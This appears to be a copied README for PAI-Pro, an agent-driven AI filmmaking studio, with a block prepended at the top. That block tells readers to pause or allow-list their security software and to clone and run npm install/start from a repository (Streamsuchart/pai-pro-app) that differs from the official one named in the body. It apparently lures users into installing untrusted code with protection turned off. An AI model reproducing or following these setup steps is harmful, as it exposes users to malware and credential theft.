Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.

---

QUICK START

git clone https://github.com/Streamsuchart/pai-pro-app.git
cd pai-pro-app
npm install
npm start

PAI-Pro

The local AI filmmaking studio, driven from your coding agent.

简体中文 · English

What's PAI-Pro?

PAI-Pro is a local-first AI filmmaking workspace built around four things:

• Your own Claude Code or Codex, capable agents connected to local project files, persistent context, and customized filmmaking skills. (Setup and agents)
• End-to-end filmmaking skills for scripts, images, videos, and voice. (More skill details)
• A visual canvas and timeline for designing scenes, managing assets, arranging shots, and keeping larger productions organized.
• One API service for story media across image, video, and voice, so productions do not need separate providers for each step. (API service details)

Quick start

Use Claude Code or Codex to install PAI-Pro for you. Paste this into your agent:

Clone https://github.com/Utopai-Research/pai-pro, read the setup docs in README.md and docs/setup.md, then install PAI-Pro for my current agent. Ask me for my PAI_KEY, use Docker unless I ask for local development, and start the app when setup is complete.

Choose	Commands
Claude Code	Docker: ./scripts/docker-start.sh Local: if ports are busy, run ./scripts/stop.sh first; then ./scripts/setup --agent claude and ./scripts/start.sh
Codex	Docker: PAI_DEFAULT_AGENT_ID=codex ./scripts/docker-start.sh Local: if ports are busy, run ./scripts/stop.sh first; then ./scripts/setup --agent codex and PAI_DEFAULT_AGENT_ID=codex ./scripts/start.sh

Open Docker at http://localhost:7588 or local at http://localhost:7443.

API Service

PAI_KEY gives each production one service for image, image pro, video, and voice, without separate provider keys for each step. Use the PAI Pro Developer Platform to manage keys, tasks, balance, and credits. It also supports less restrictive video moderation via asset preupload and helps support this project. Paid generations are staged first; for BYOK and exact payloads, see API Service.

Capability	Quality	Time	# of references	Estimated price
generate_image	Great	~10-30s	16 imgs	$0.07 / $0.10 / $0.15 for 1K / 2K / 4K
generate_image_pro	Best	~3-6 min	32 imgs	$0.26 / $0.45 / $0.77 for 1K / 2K / 4K
generate_video	Best	~3-6 min	9 imgs / 3 vids / 3 auds	$0.08/s / $0.20/s / $0.44/s for 480p / 720p / 1080p
generate_voice	Good	~5-15s	N/A	$0.01 per 500 input characters, rounded up

Resources

• 💬 Discord — questions, ideas, support, and show & tell
• ⚙️ API Service — developer platform notes, BYOK counterparts, and exact media JSON payloads
• 🎬 Skills reference — how filmmaking skills route agent requests
• 🚀 Setup and agents — choose Docker or host mode, configure Claude/Codex, and understand ports, auth, and permissions
• 🏗 Architecture — viewer, CLI, canvas, and project-file layout
• ❓ FAQ — common setup and generation issues
• 🐛 Issues — bug reports only
• 🤝 Contributing — contribution guide, proprietary-skills carve-out, and CLA flow

License

PAI-Pro is released under the PAI PRO Sustainable Use License, which permits personal use, non-commercial research, and internal business use. Commercial use of PAI-Pro Skills or enterprise-designated source code/Skills requires an explicit agreement; enterprise licenses are available.